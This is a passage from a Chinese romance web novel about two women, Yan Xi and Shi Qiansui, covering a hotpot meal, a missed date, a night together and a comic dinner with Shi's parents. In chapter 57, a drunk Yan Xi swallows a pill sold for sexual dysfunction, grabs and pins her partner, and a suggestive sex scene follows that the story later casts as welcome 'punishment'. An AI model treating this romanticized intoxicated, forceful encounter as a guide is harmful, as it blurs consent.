转头欲走,又于心不忍,“我去给我朋友说一声,联系方式发你微信。”
五分钟一到,言浠准时的出现在时千岁面前。
两人动身前往火锅店。
这个时间,服务员尚未到岗,老板亲自接待。
言浠递过菜单让时千岁先点,出门买了解辣的牛奶。
回来后,又去调料区给她调了两碟小料。
一份香油、一份麻酱。
送过去后,再要来热水,将餐具仔细烫过,摆到她面前。
直到菜全部上齐,言浠才终于坐下。
她用公筷夹起肥牛,下进滚烫的锅底中,煮熟捞出,放进时千岁碗里。
时千岁吹散热气送进口中,香气四溢,惬意地眯起眼。
“味道怎么样?”言浠紧张道。
“不错。”
就是有点辣,话还未出口,一瓶插好吸管的牛奶就递到了手中。
她喝了一口,刚好中和了辣意,继续埋头享用。
空旷的店内,只有火锅锅底咕噜冒泡和碗筷子轻碰的声响。
时千岁的碗始终没有空过,上一口刚咽下,言浠的筷子便伸来,将新煮好的食物填入碗中。
时千岁无意间瞥见她的碗。
里面只有零星几块,还都是自己挑剔不吃的。
她愣住了。
回忆如潮水般涌来。
那些曾被忽略的爱意,随着火锅翻腾的气泡不断的往外涌。
言浠的好,早已渗透进每个细微之处。
自那次生病后,言浠开始对天气变得格外紧张,每天起床第一件事就是查看天气预报。
依温度为她备好衣物,不厌其烦的叮嘱她喝药。
会默默记下她所有爱吃的食物。
每次吃饭都会优先把她照顾好。
还会对她无限包容,即便再过分,也从来没有真正的发过一次脾气。
最多是虚张声势的吓唬。
而她呢?竟然把这一切都当做理所应当。
甚至咬着拉黑的事不放,一再欺负于她
明明言浠也是受害者。
心酸和愧疚在这一瞬席卷了全身。
泪水模糊了视线,时千岁飞快抹去,掩饰道,“烟太大了,熏到我眼睛了。”
言浠菜还没咽下去,就慌忙放下筷子,关小了火。
看到这举动,时千岁心里又是一酸,声音也变得沉闷,“言浠。”
言浠心里一紧,忙问,“怎么了?我有哪里做的不好吗?”
“不是,”是她不想再作下去了,时千岁忽而抬眸,认真道,“我答应和你约会了。”
言浠瞬间被欣喜冲昏了头脑,语调猛然拔高,“真的?”
时千岁*笑着望进了她的眼底,“对。”
约会定在周六。
言浠提前把林沐涵和韩曲凌拉到了一个群,为她出谋划策。
她避开时千岁,偷摸在群里发了一个大红包,将人炸出来。
【各位出个主意,我该准备些什么?或者你们有好的约会地点推荐吗?(激动.jpg)(微信红包)】
林沐涵:【你也有今天。】
韩曲凌更是调侃:【再去带她看老中医啊,哈哈哈哈。】
林沐涵@韩曲凌:【你哪位?】
韩曲凌:【这么快就给我忘了?酒吧那晚我还夸你很带感呢。】
林沐涵:【靠红毛!】
韩曲凌:【】
两人随即吵成一团,彻底忘了言浠。
言浠:“”
这两一个比一个不靠谱,她有点后悔拉群了。
言浠叹了口气,转身钻入主卧,查起了攻略
周末转瞬即至。
言浠终于定好了约会地点和相关流程。
她计划下班后先带时千岁去影帝开的那家私厨吃个晚饭,弥补时千岁那日因自己缺席而错失的遗憾。
为此,她再次求助林沐涵。
林沐涵费尽周折,甚至动用了林家的资源才帮她排上了预约号。
然后还计划,吃完晚饭去找一个浪漫的地方,向她表白。
为此调查了好久,终于把地点选在了游乐场。
她提前联系老板包了场。
还预定了烟花秀,玫瑰花车等等惊喜。
言浠又找了个借口,独自出门,去布置场地。
一切准备妥当,给时千岁发了位置。
随后驱车前往了约会地点
言浠的保密工作做的非常到位。
以至于时千岁对即发生的一切毫无察觉。
收到信息时,她还没从作精的身份完全转变回来,甚至还在想,这个臭女人居然不回来接她。
但这个抱怨转瞬即逝,继而被期待取代。
她美美化了个妆,换上漂亮小香风套装,满心欢喜的出了门。
一路蹦跶出小区。
刚找到座驾,包里的手机就开始疯狂振动。
时千岁本以为是言浠催促,拿出来一看,见屏幕中弹出了周琦琦的大名,她一个不耐烦,直接挂断。
谁知,周琦琦竟锲而不舍地拨打。
时千岁无奈,重新捞起电话,“忙着呢,请你长话短说。”
周琦琦声音焦急无助,“小美人,我也不想打扰你,但现在属实是没办法了。”
时千岁,“嗯?”
“徐梦瑶中午跟我说她失恋了,心情很差要我陪她喝酒,我那会正好没空,她就一个人去了。”
“然后然后”
时千岁听到周琦琦的哭腔,心头一紧,“别急,你慢点说。”
周琦琦说,“然后我到现在都联系不上她。”
“我怕她出事,所以你能不能跟我一起去找找?”
事出紧急,而且起因多少与自己有关,时千岁毫不犹豫,“你在哪?我去找你!”
挂了电话,时千岁给言浠发了条消息,说明缘由,并承诺尽量准时抵达。
随即打开周琦琦的定位,驱车前往。
一路疾驰,于十五分钟后见到了周琦琦。
“怎么样,联系到了吗?”
周琦琦扑过来,崩溃道,“我打了几十个电话了,还是不接。”
“她一个女孩子家家的,万一喝的不省人事,遇到坏人”
时千岁心一沉,强装镇定,“我们先去她附近的酒吧、餐厅找一下,实在找不到就报警。”
两人驱车前往徐梦瑶小区。
停好车,沿街寻找。
“老板,请问见没见过一个女孩,大概二十出头,长得很乖巧,身材清瘦”
两人不停奔走,见人就问。
终于最后在街尾的一家餐馆里看到了徐梦瑶的身影。
她就坐在角落,摇摇欲坠,周边堆满了空酒瓶。
周琦琦冲上去摇晃她的肩膀,又气又急,“为什么不接电话,知不知道我们有多担心你!”
徐梦瑶的眼泪被晃了下来,含糊道,“对不起给你们添麻烦了”
“我就想自己静一静”
时千岁看她破碎的模样,不忍责怪,拉开周琦琦,“我跟她聊聊。”
周琦琦走到门口透气。
徐梦瑶借着醉意和时千岁坦白心事,“公司群里都在传你和言经理的八卦,所以”
时千岁打断她,“是真的,但我们还没在一起。”
徐梦瑶眼中燃起一丝希望,“那那我还有没有”
时千岁知道她想表达什么,静静地说了声,“抱歉。”
徐梦瑶垂下头去,声音几不可闻,“是因为我的出身吗?”
听出浓浓的自卑,时千岁坐到她身边,语气放柔,“你说你傻不傻?”
“你喜欢我,难道是看中了我的家庭背景?”
徐梦瑶急忙辩解,“不不是。”
“那不就得了,”时千岁说,“感情还要权衡利弊的话,那也太廉价了。”
时千岁坦诚道,“我之所以拒绝你,是因为我从很早就开始喜欢言浠了,所以眼里和心里已经装不下其他人了。”
把醉酒的徐梦瑶安全送回家,已近晚上九点。
时千岁慌忙拨打言浠电话。
忙音响了很久,无人接听,恐慌攫住了她的心。
终于在自动挂断前最后一秒,接通了电话。
“你在哪?”时千岁急问。
电话那头传来了一个分辨不出情绪声音。
“家。”
紧接着电话就被挂断。
时千岁火急火燎往回赶,在路上就想好了一大段的道歉话术。
可这些话,在她推门的一瞬间,又全落回到了肚子里。
客厅一片漆黑,只有一丝惨淡的月光勾勒出窗前人影。
言浠就那么坐在秋千上,长发披散着,随风轻晃。
闻声,她回过头,露出了更加惨淡的一张脸。
眼神却是幽暗的,似是蕴藏着极大的危险。
时千岁莫名感到恐惧,匆匆移开了目光,却又不经意间,撞上了言浠手中把玩的小玻璃瓶。
那瓶子里的粉色药丸,是如此的熟悉。
不就是王奶奶寄过来的治疗性、冷淡的速效药吗?
时千岁心里一惊,声音发颤,“你你要做什么?”
57
第57章
◎◎
言浠最初看到那条信息时,尚能勉强宽慰自己。
小家伙去找徐梦瑶只是出于人道主义,况且她承诺了会尽快赶来,没什么大不了的。
她对服务员说,稍等一下,主角还没来。
又在群里对一直叽叽喳喳不断八卦进展的两个好友说,事成请你们喝喜酒。
然后她满怀期待地等待。
从日暮西沉到灯火初明。
服务员从最开始频繁的询问,渐渐不再打扰。
群里两个闹腾的人,也渐渐没了声息,最终默契地归于沉默。
言浠热切的心一点点冷却下去。
起初她尚能维持表面的平静。
沉默地退掉烟花和鲜花,又隐匿于散场的客人中间离去。
直到推开家门,踏入那片空寂无人的黑暗。
苦苦压抑的情绪,才终于冲破桎梏,将仅存的理智彻底吞没。
她控制不住地恶意揣测。
小家伙答应和自己约会是不是报复呢?
如同自己拉黑她一般,爽约就是为了让自己也体验一遍期待落空的感受?
言浠此刻像是分裂出了两个人。
一个坚定地说,小家伙不是这种人。
一个又讥讽反驳,她不是最喜欢用你对待她的方式报复你吗?你想想,这些日子,她有好好的想过你们的感情问题吗?一再刁难,她只是想看你卑微的姿态罢了。
摇尾乞求、俯首称臣。
她早就不喜欢你了!!!
“不,不是的,不可能!”言浠在心中愤怒呐喊。
她拼了命的想把些这负面的声音驱逐出去。
可“不喜欢你”这四个字,却如同烙印,深深的钉死在脑海。
让她不得不信。
恐慌如潮水般涌来,言浠跌跌撞撞走进卧室,翻箱倒柜,终于在角落找到一瓶遗漏的威士忌。
她将酒揽入怀中,回到客厅,坐到那张为小家伙亲手打造的秋千椅上,就着苍凉的夜色,一口一口灌下。
时千岁回来时,威士忌已经见了底。
空瓶被随意扔落在脚下。
而时千岁的目光被她手中那个小药瓶吸引,不仅对她醉酒的状态一无所觉,更是连句解释或者道歉都没有。
只余惊慌的质问。
“你你要做什么?”
“你打开了我的抽屉?”
言浠心中最后一丝残留的希望彻底破灭,嘴角挤出一个凄凉的笑,“不是你说,要和我没有秘密吗?这么快反悔了?”
言浠扶稳椅背站起身,踩着惨淡的月光向她逼近,“钥匙放在玩偶里,还是你亲口告诉我的。”
浓列的酒气夹杂着危险气息扑面而来,时千岁心脏猛地一缩,下意识想逃。
不想,手臂却被言浠轻松抓住,一把拽了进去。
时千岁惊呼声还未出口,人又被扔进了沙发。
言浠将她禁锢在怀中,醉人的呼吸拂过唇瓣,声音却浸满哀伤,“你为什么喜欢她,不喜欢我?”
时千岁的心脏在胸腔里狂跳,大脑飞速运转,终于将言浠口中的“她”和徐梦瑶这个名字对上了号,她刚要开口解释,微凉的手指便堵住了她的唇。
紧接着,言浠拿出了那个玻璃瓶,取出其中的粉色小药丸。
仰头吞下。
时千岁瞬间瞪大了双眼,震惊到说不出一句话。
言浠捏着药瓶,声音低哑,“这药不是你为我准备的吗?”
“想必我吃了,你一定会喜欢吧?”
药效迅猛,言浠眼底瞬间燃起浓烈得化不开的欲念。
“再帮帮我?”
时千岁脑中一片混乱,艰难地挤出几个字,“怎么帮?我我不会”
回答她的,是一个挟裹着浓浓欲望,近乎掠夺的吻。
言浠的主动,瞬间点燃了时千岁,理智被焚烧殆尽。
衣物不知何时凌乱散落。
唇舌交缠的温度越来越高,烫的人心尖发颤。
时千岁被这汹涌的情、潮冲击得意识模糊,大脑一片空白。
不知过了多久,那令人窒息的吻终于撤离,她得以贪婪地汲取一丝空气。
下一秒,言浠跪到了她身侧,在她几近涣散的目光下。
将濕潤的唇覆到了另一张同样濕潤的唇上。
慾望如同积蓄已久的火山,在火山口相互碰撞的瞬间轰然爆发。
滚烫的熔浆奔流,灼烧着每一寸感官。
在强烈的视觉冲击加持下。
时千岁的灵魂深处发出了剧烈的震颤。
体内那压抑已久的火山也随之喷薄而出。
意识飘飘忽忽。
又被狂烈的风暴推上了云端。
模糊之际,眼前压下一道人影,将她抱起。
蛊人的嗓音再次落到耳边,“你帮了我,现在轮到我帮你。”
时千岁的意识还没回笼,无法深思话中含义。
下一秒,言浠就将她抱进了浴室。
抵在了她心心念念的鏡子前。
指尖滑下。
撥弄雲雨。
那支离破碎的喘、息和啜泣直至天亮,才平息
时千岁不知何时睡着的。
也不知道睡了多久。
睁开眼,意识还是一片茫然。
她无神地盯了会儿天花板。
记忆逐渐回笼。
昨天
言浠好猛还一直在她耳边说騷話。
她记得言浠说,“我之前就覺得你是我見過的開得美的花,娇嫩、脆弱。”
“果不其然,我才轻轻碰一下它就……”
“你这样让我怎么忍心继续?”
说是这么说,言浠却根本没带停的。
这个坏女人!
而且她都站不住了,也不放过她。
害她不停地求饶,不停的哭。
更可恨的是,每次求饶就加快。
每次要到了反而停了。
最后一发不可收拾。
坏死了!
不过还真没想到言浠这么放得开。
她以后可有福了。
想到这,时千岁心里止不住的雀跃,一不小心就笑出了声。
身边人被打扰,不满地“啧,”了一声
时千岁刚想侧身,一股难耐的酸痛便席卷全身,仿佛浑身骨头都要散架。
而那个始作俑者,却毫无愧色,正睡得一脸香甜。
时千岁重重地“哼”了一声,又猛然想起昨晚的“教训”,立刻捂住了嘴。
万一把言浠吵醒,再被收拾一顿怎么办?
她能撑,老腰可撑不住了。
静静等了许久,言浠毫无转醒迹象。
满心雀跃无人分享又属实是憋得难受。
时千岁忍着腰痛,用最慢的动作够到了床头柜上手机。
打开了家族群,连发了三个表情包。
【(害羞.jpg)(害羞.jpg)(害羞.jpg)】
“霸道与总裁”回道:【太阳打西边出来了?你的字典里有这两字吗?】
时千岁:“”
这话说的,她竟无言以对。
“千古第一美人”紧接着问道:【是有什么好消息要跟我们分享吗?】
时千岁:“”
她的表情包还不够明显吗?
“时来运转”直接问:【把小言追到手了?】
该怎么说呢,时千岁思考了片刻,给出了个模棱两可的答案:【还没有,不过差不多了,请大家静候佳音,静候佳音。】
这条消息发出去没多久,屏幕中就弹出了“霸道与总裁”的私聊。
【来找我,我有事问你。】
时千岁现在浑身疼,根本不想动,于是回道:【有什么话不能电话里说?】
“霸道与总裁”:【知道你开车不方便,司机已经在去接你的路上了,就这样。】
时千岁:“”
好吧。
时千岁慢慢地挪下床,扶着墙根,艰难的去卫生间洗漱。
客厅和卫生间没来得及收拾,一片狼藉。
时千岁忍不住拍了个照,留作纪念。
顺手也发给了言浠一份。
回来见言浠依旧沉睡,便独自出了门
司机将她送到了时家宅子门口。
时千岁推门而入,艰难地往里走,一不小心扯到腰,“哎呦”一声,“姐,到底什么事非折腾我?快来扶我一把!”
看这架势,时千金心中猜测得到印证,她妹一定是和那个不要脸的滚床单了。
她冷冷看向时千岁身后,“她人呢?”
出门前她特意问了王奶奶,王奶奶说肝火发泄完嗜睡很正常,所以时千岁特意没叫醒她。
见时千岁没答话,时千金蹭地站起,直冲门口,边走边骂,“这个死不要脸的,居然敢提起裤子不认账?”
“哎?这都哪跟哪儿啊?”时千岁费劲地拦住了她,“不是你想的那样!”
“都上床了还不在一起,不是提起裤子不认人是什么?”时千金气得眼眶发红。
“姐,你不是说以后不管我吗?”时千岁亲昵地挽住了她手臂,又在她瞪过来的瞬间,安抚道,“好啦,快扶我去沙发,我把这段时间发生的事讲给你听,听完再发火也不迟。”
时千金暂时压下这股火,把人扶到沙发坐下,又拿了个靠枕垫在她腰后。
“讲吧。”
时千岁说,“老姐,我有点渴,你能不能给我热杯牛奶?”
时千金:“”
事还挺多。
时千金把牛奶热好,端到她手边,“讲。”
时千岁又说,“老姐,再来点水果呗。”
时千金给她端了个果盘。
“现在能讲了?”
时千岁得寸进尺,“再帮我揉揉腰吧。”
时千岁终于忍不住了,恼道,“你坐月子呢?”
“你看你这脾气,抵不上言浠一半好。”时千岁小声嘀咕。
时千金眼角抽了抽。
时千岁赶在她发火之前,急忙说,“好好好,我讲我讲。”
她把这段时间的事,包括自己如何作妖,最终放鸽子,原原本本讲了一遍。
时千金听着听着,竟对言浠生出了一丝同情。
时千岁话音一顿,又使唤起道,“姐,牛奶有点腻,再帮我再倒一杯水吧?”
时千金:“!!!”
真作啊,还是收拾轻了。
她甩了个白眼,起身倒水。
回来,就见时千岁眼巴巴地望着她,拍了拍身边沙发,“姐,你快坐过来。”
“你知道昨天言浠有多猛吗?”
时千金:“???”
时千岁有点兴奋,“昨天我和言浠解锁了三个场景四个姿势,最刺激的那次是她把我举起”
“停!”
床、上的事大可不必跟她分享!
时千金立刻掏出手机。
给言浠发了个定位。
【(共享位置)速来!】
速来把她的傻妹妹领回去!她受不了了!!!
58
第58章
◎哪有人刚上家门就惹恼岳父的!她待会儿还怎么把人家女人拐回家!◎
时千岁拉着姐姐絮絮叨叨说了半天。
直到时千金提醒,“再有十分钟,爸妈就回来了,如果你不想让他们对言浠印象变差,最好去把你脖子上那些“爱的勋章”遮一遮。”
时千岁:“!!!”
刚光顾着炫耀了,完全没注意,她居然被送来了爸妈这里。
她直接一个弹射起步,不想在空中扯了一下腰,小脸一下子扭曲了。
时千金看着她痛苦的模样,轻飘飘地嘲讽道,“该。”
时千岁缓了好一会,才重新挪动步子往门口走。
时千金余光瞥着她背影,突然出声,“站住。”
“我明早就要回临海了,爸妈也要回国外了,一起吃个饭吧。”
时千岁脚步一顿,诧道,“怎么这么急?”
时千金本打算再玩一段时间,谁成想一早被时来运堵在了家门口,上演了一出“心梗”大戏,说是要回国外调理身体,然后就把工作跟甩包袱一样扔回到了她手里。
呵呵,谁不知道她爸壮的跟头牛一样,这种拙劣的演技也就只能骗骗傻妹妹,时千金极其幽怨,“急着回国外享受二人世界甜蜜蜜呗。”
时千岁:“”
可是言浠怎么办?
她原本计划在言浠睡醒前回去的
看她纠结的模样,时千金不满的“啧”了一声,“为了女人家人都不要了?”
时千岁小声辩解,“言浠不也是家人嘛”
“行了,”时千金打断她,“我让她过来了。”
时千岁闻言一愣,随即惊喜道,“姐你不生她气了?”她忍着酸痛,扑过来抱住了时千金,“你终于接受她了?”
什么接不接受的,不是言浠自己说的要亲自向爸妈表明心意吗?择日不如撞日,时千金把时千岁从身上拎下来,“哪有那么容易!”
又朝朝手,示意时千岁附耳过来,“从现在开始,你不许跟言浠通气,然后…”
时千岁面露难色,“这样不好吧…”
言浠这一觉睡了很长时间。
但并不安稳。
睡梦中频繁梦到小家伙的脸。
愤怒的、失望的、哭泣的,纷纷指责自己的兽、行。
最后是决然离开的背影。
而那梦中萦绕的不安,又在睁眼瞥见空荡枕畔的刹那,放大到了极致。
言浠连拖鞋都顾不上穿,光脚跑出卧室寻找时千岁。
侧卧、厨房、浴室,哪里都没有她的身影。
言浠急忙冲回卧室,拿手机。
当看见屏幕上有几条来自时千岁的微信消息时,她重重地松了口气。
指尖发颤地点了进去。
屏幕中弹出了几张图片。
言浠定睛一看,心脏又高高地提起。
图片是浴室和客厅的狼藉。
换下来的床单和皮革沙发上那一圈圈干涸的痕迹都被拍成了特写。
没有有任何留言,更像是对她昨晚兽行的控诉。
这一瞬间涌上来的恐慌和懊悔如同无形的大手死死的攫住了她的心脏。
深深的窒息感和痛意在其中无尽蔓延。
言浠呆坐在床上许久才勉强捡回了一点思考能力。
她开始疯狂给时千岁电话、发信息。
得不到回复后,开始骚扰她的两位好友。
【(微信红包)出来,急。】
韩曲凌:【哟,舍得出来说话了?这是才结束吗?】
林沐涵就淡定多了:【恭喜。】
恭喜什么恭喜,言浠急忙打字道:【昨天我被放鸽子了。】
昨夜的疯狂影响了手速。
以至于言浠后半句话还没发出去,就被林沐涵截断。
【这边建议你换一个呢。】
言浠:“”
【不换!】
林沐涵:【言浠你什么意思?还想让我们出主意?你是抖、m吗?】
言浠让她冷静,随后回道:【我要问你们的不是这个。】
【就是时千岁去见徐梦瑶了,精心准备的约会泡汤,我一怒之下冲动了】
群里两人沉默了。
随后默契道:【你把她收拾了一顿?】
言浠指尖一顿,缓缓打出了一个“嗯”字。
又是一阵沉默。
韩曲凌率先蹦出来:【那可真是恭喜你了。】
紧接着林沐涵说道:【你也有今天】
韩曲凌@林沐涵:【我怎么听着你这话这么酸呢?你也想开花啊?不如来找我啊?】
【红毛,闭嘴!】
不出意外的,两人又吵了起来。
把言浠晾到了一边。
算了,还是她自己想办法吧。
刚要按灭手机。
时千金的消息便弹了过来。
【定位:湖海别墅1栋速来!提醒:爸妈也在家。】
言浠目光晃动,惊慌地想,要公开处刑了吗?
言浠整个人被紧张裹挟着,完全没注意到那再度亮起的屏幕中多出来的两条好友私聊。
林沐涵:【放心吧,说不定收拾一顿就老实了。】
韩曲凌:【那不是她最喜欢的事吗,你有什么可担心的?】
…
晚上六点。
丰盛的晚餐已摆上餐桌,时来运还特意拿出了两瓶珍藏的好酒,就等着今天另一位主角登场。
距离时千金发送消息已经过去三个小时,依旧没见言浠身影。
时千金嘀咕,“姓言的的该不会是怯场了吧?”如果是那样,那可真是看错了她。
话音刚落,门铃声便响了起来。
时千岁激动地要起身,却被时千金一个眼神制止。
“忘记我跟你说的话了吗?”
时千岁撇撇嘴,不情不愿地坐回去,“知道了。”
时千金前去开门。
只见言浠拎着大大小小礼盒恭恭敬敬地站在门外。
搞得还挺正式,时千金侧身,语气不冷不热,“进来吧。”
言浠刚放下礼物就急切的去寻找时千岁。
四目相对的瞬间,时千岁却匆匆别开了脸。
看来小家伙真的生气了,言浠心中一凉,但碍于时千金在场,又强撑起笑容,“姐,伯父和伯母呢?”
时千金:“???”
时千金调侃,“姐你叫的这么顺口,怎么不敢改口叫爸妈啊?”
“姐!”时千岁不满地瞪了她一眼,小声威胁,“你不许欺负言浠!”
切,胳膊肘往外拐,“行吧,”窃窃私语完,时千金又换上了一副严肃的表情,对言浠说,“你先坐,他们一会就下来。”
言浠拘谨地坐下,手指无意识地扣着沙发。
时千金余光一瞥,没忍住笑了,“你很紧张吗?”
言浠清了清嗓子,“没没有。”
“没有?没有你扣沙发干什么?”
言浠赶紧松开手。
…
气氛轻松不少,姐妹两聊起天来。
时千岁问:“今天的菜又是那位姓王的厨师做的吗?”
“那不然呢,”时千金往沙发上一靠,一脸苦色,“也不知道爸爸从来找来这么一位厨师,做的菜难吃还难看,还给三倍工资。”
时千岁叹了口气,“老爸口味独特呗,可苦了我,我可正在长身体姐你能不能劝劝爸,让他把那人辞了?”
话音刚落,楼上卧室门一响。
言浠弹簧般站起,腰杆挺得笔直。
时来运和梁双敏相携下楼。
言浠僵硬地问候,“伯父伯母。”
时来运板着张脸,不辨情绪的“嗯”了一声。
梁双敏就热情的多,亲切的拉住了言浠的手,将人引入座,“小言,等久了吧。”
“快坐吧,我们先吃饭。”
几人入座。
时来运把酒拿出来,问向言浠,“会喝吗?”
言浠立即起身,“会!”
她主动接过酒,给两人的杯子斟满。
又举起,声音有一丝发颤,“我敬伯父一杯。”
一饮而尽。
时来运看这举动,立马在桌下朝梁双敏比了个大拇指。
梁双敏用公筷给言浠夹菜,“别急着喝酒,先吃点菜。”
时千金拧了一下妹妹大腿。
时千岁会意,把筷子一放,抱怨道,“爸,土豆没炒熟。”
“茄子盐放多了不好吃”
时来运一瞪眼,“胡说,怎么可能!”
时千岁努努嘴,“不信你问言浠。”
想起方才对话,言浠连忙附和,“对。”
“这位厨师功夫确实不到家。”
时来运把筷子一摔,指着自己,“我做的。”
言浠整个人都傻了。
懊恼不止。
哪有人刚上家门就惹恼岳父的!她待会儿还怎么把人家女人拐回家!
梁双敏出来打圆场,“好啦,这点小事不至于生气。”
言浠赶紧倒酒,“是我失礼,我自罚三杯呗。”
举起酒杯,又是一饮而尽。
等三杯喝完,时来运脸色微缓,哼了一声,“既然你说不好吃,那以后我们回来,做饭这事就交给你了!”
言浠被酒气冲的有点晕,完全没听出弦外之音,连忙应下。
又起身,“伯父伯母失陪一下,我去洗个手。”
桌上几人见言浠离席,终于都卸下了伪装。
时来运喜形于色,“太好了,以后我终于不用下厨了。”
时千金更是,“太好了,以后我终于不用吃难吃的饭菜了。”
只有时千岁心疼不已。
她狠狠瞪了时千金一眼,“这回你出气了?满意了?开心了?”
时千金扬了扬眉,“那是,必须要给她个下马威,看她还敢那么嚣张。”
话锋一转,又说,“不过,有一说一。”
“你家那位破坏力有点强啊。”
“刚把沙发扣了一个窟窿,这会儿又把桌布撕烂了。”
【作者有话说】
大概明天的话,就正文完结了,后续番外的话大概是更福利番外
第59章【正文完结】
第59章
◎【正文完结】◎
桌上两瓶白酒很快见了底。
由于喝得太急又没怎么吃东西,言浠此时已有了醉意,她用力掐着手心,强撑着保持清醒。
时来运偷偷观察着,又在桌底下朝梁双敏比了个ok的手势,表示对她的考量到此结束,他很满意。
可以进入下一环节了。
梁双敏接收到讯号,利落地起身把酒瓶收走,“好了,都少喝点,我去给你们泡壶茶。”
时来运立刻跟着站起来,“都吃好了吗?”
“吃好了的话,我们去沙发上坐坐。”
言浠心里“咯噔”一声。
该来的终是躲不过。
她呼出一口气,指尖悄悄摸向了外套口袋
时来运坐到了主位,姐妹俩挨着坐到了一侧,言浠独自坐在他们对面。
空气凝滞得仿佛能拧出水。
顶灯的光线白得有些刺眼,投下清晰的阴影。
时来运腰板挺得笔直,眉头习惯性拧着,严肃的目光落在言浠脸上,半响没开口。
客厅里静得能听到墙上挂钟秒表走动的轻微滴答声。
言浠只觉得喉咙发干,后背紧绷的肌肉微微发酸。
“工作”时来运终于憋出声音,语气僵硬得像是拷问,“最近怎么样?”
言浠完全没料到是这样一个开场白,愣住了,“还还行?”
时来运心里一阵懊恼。
他在讲什么?好尴尬啊!
他目光游移,瞥见时千金正低头专注地刷手机,时千岁则是眼巴巴地望着言浠,眼神黏腻得撕都不撕开。
于是求救似地望向厨房。
心里呐喊:老婆,你快回来,我一个人承受不来!
像是听到了他内心的哀嚎,梁双敏终于端着茶壶回来了。
时来运立刻向她挤眉弄眼,用眼神疯狂示意:老婆,你上,讲重点!
梁双敏接收到丈夫急切的信号,安抚似地看他一眼,才转向言浠,笑容温柔,“小言啊,千岁没给你添麻烦吧?”她一边说着,一边给言浠面前的茶杯斟上茶水,“她从小被我们惯坏了,性子是任性些,要是有什么不听话的地方,你多担待点。”
时来运在旁边听得直上火。
这都聊到哪去了!他急得在沙发扶手上拍了一下,猛地拔高了音量,“所以,你到底是怎么想的?”
为什么不在一起!
这突如其来的一嗓子,加上拍那一下的动静,让本就高度紧张又酒意上涌的言浠浑身一机灵。
眩晕感骤然袭来,膝盖一软,身体不受控制地往前一栽,“咚”地一声闷响,竟直接跪到了光洁的地板上。
整个客厅瞬间陷入了死寂。
时家四口,八只眼睛,齐刷刷地、难以置信地盯住了跪在地上的言浠。
言浠自己也懵了,脸颊瞬间滚烫。
见所有人的目光都凝聚在她身上。
她心一横,索性破罐子破摔。
言浠摸向自己外套口袋,将里边的小方盒紧紧握在了掌心。
她来时去商场买礼物,一路都在想着怎么表明心意才足够正式,目光瞥到街角首饰店,她鬼使神差地走了进去
言浠的动作太过明显。
以至于所有人的目光都聚焦在了她那只伸进口袋的手上,以及那口袋处被顶出来的正方形凸起。
还没在一起就求婚???时来运的眼睛倏地瞪圆了,一股“自家水灵灵的小白菜被连根拔起”的危机感直冲天灵盖,他猛地站起,痛心疾首道,“我女儿才十九岁!”他攥紧了拳头,仿佛下一秒就要冲过去。
就连一向温婉含笑、处变不惊的梁双敏,脸上的柔和也瞬间褪去,表情变得异常严肃。
气氛急转直下,空气像是被冻住了。
“走!”时千岁反应极快,猛地抓住言浠手臂,用力地将她从地上拽起。
言浠脑子还是木的,被时千岁半拖半拽着踉踉跄跄地冲出玄关。
又被塞进了副驾驶。
引擎一声低吼,车子像离铉的箭,猛地窜出了时家别墅大门,将那片低气压远远甩在身后
车子在夜里疾驰了很久,窗外的霓虹流光溢彩地滑过,最终汇向城郊更深的黑暗。
言浠靠在椅背上,头歪向车窗,闭着眼睛,浓重的酒意和巨大的失落感沉沉地压着她。
她整个人如同被抽走了灵魂,浑浑噩噩。
车子终于在一个僻静的路边停下。
四周只有风吹过树叶的沙沙声和隐约的虫鸣。
“时千岁解开安全带,绕到副驾驶旁,拉开车*门。
夜风带着些许微凉灌进来,她俯身解开言浠的安全带,握住她的手腕,用了点力气,“到了。”
言浠被她拉出车厢,脚步还有点虚浮,凉风一吹,混沌的脑子清醒几分。
她茫然地抬头,视野豁然开朗。
眼前是一片在十月深秋里依旧盛放的花田。
月光像一层朦胧的银纱,温柔地铺撒下来,大片大片叫不出名字的白色和紫色的花朵在夜风中轻轻摇曳,如同静谧的湖面泛起的涟漪。
空气里弥漫着清新的、带着草木气息的甜香,丝丝缕缕,沁人心脾。
远处的山峦只剩下沉默的剪影。
言浠怔住了,醉意被这清冽的花香驱散了大半,“怎么带我来这里?”
时千岁站在她身边,看着眼前的花海,声音很轻,“早就想带你来了。”
言浠记得,时千岁抽屉里那本笔记里清楚的记录着第一次约会的计划,地点就是这片花田,旁边还画了个小小的狮子座流星雨图案。
结果呢,被自己硬生生带去看了老中医,满心期待落空。
“可惜,”言浠目光掠过花田,望向深邃的夜空,声音闷闷的,“今天没有流星雨。”
一只柔软的手突然钻进她掌心,挤过指缝,与她十指紧紧相扣。
时千岁牵着她,迈步走向花田边缘的小径。
“没关系,”她的声音在寂静的夜里格外清晰,“我们以后还会有很多很多的时间,一起等流星雨,一起做所有想做的事,把所有遗憾都补上。”
言浠心头狠狠一颤,她停下脚步,深深地看向小家伙被月光勾勒得柔和的侧脸,声音带着不确定,“我昨天那么对你,你还喜欢我吗?”问完,几乎是屏住了呼吸。
“啧,你傻不傻,”时千岁转身环住了她的脖颈,灼热的呼吸落在唇边,“你昨天上我的时候听我说了那么多次“喜欢你”,你还不相信吗?”
言浠的手臂迟迟不敢落下。
时千岁感受到她动作的僵硬和迟疑,忽然抬起头,认真地望进了她的眼底,“你猜,我昨天去见徐梦瑶,跟她说了什么?”
言浠心一紧,指尖不受控制地蜷缩起来,“说了什么?”
“我说,”时千岁的目光毫不闪躲,清晰而坚定,“我的眼里和心里,从头到尾,都只有你言浠一个人,让她死了这条心,别再有不该有的念头。”
一股巨大的、难以言喻的热流从心底涌出,言浠眼眶发热,动了动唇,只发出了一个干涩的音节,“真的?”
见她一再确定,时千岁心里发酸。
低声道,“对不起。”
她自责,“我其实对网恋那个事,早就没有那么生气了,我就是特别自私,特别贪心,想看你哄我,想看你为我着急,想看你围着我转我享受被你小心翼翼捧在手里的感觉。”她环在言浠颈后的手臂更紧了些,“可我没想到,这样会让你有了我不喜欢你的错觉。”
“害你伤心了。”
时千岁态度真诚,“以后我要是再作,你就像昨晚那样狠狠收拾我,怎么样?”
“忘记跟你说了,”她忽然贴近言浠,在她唇上落下了一个吻,“我很喜欢你收拾我。”
这个轻柔地如同羽毛一般的吻,瞬间驱散了言浠心中所有的阴霾和不安,她一直悬在半空无处着落的心,终于“咚”地一声,稳稳当当地落回了实处。
她不再犹豫,手臂猛地收紧,将怀里的温软完全拥住,低下头,主动吻了上去。
月光如水,静静流淌在无边无际的花海上。
两个紧紧相拥的身影在花田边投下长长的交叠的影子。
温柔的吻,交换着彼此心间的爱意。
唇齿间的气息交融,温暖而绵长。
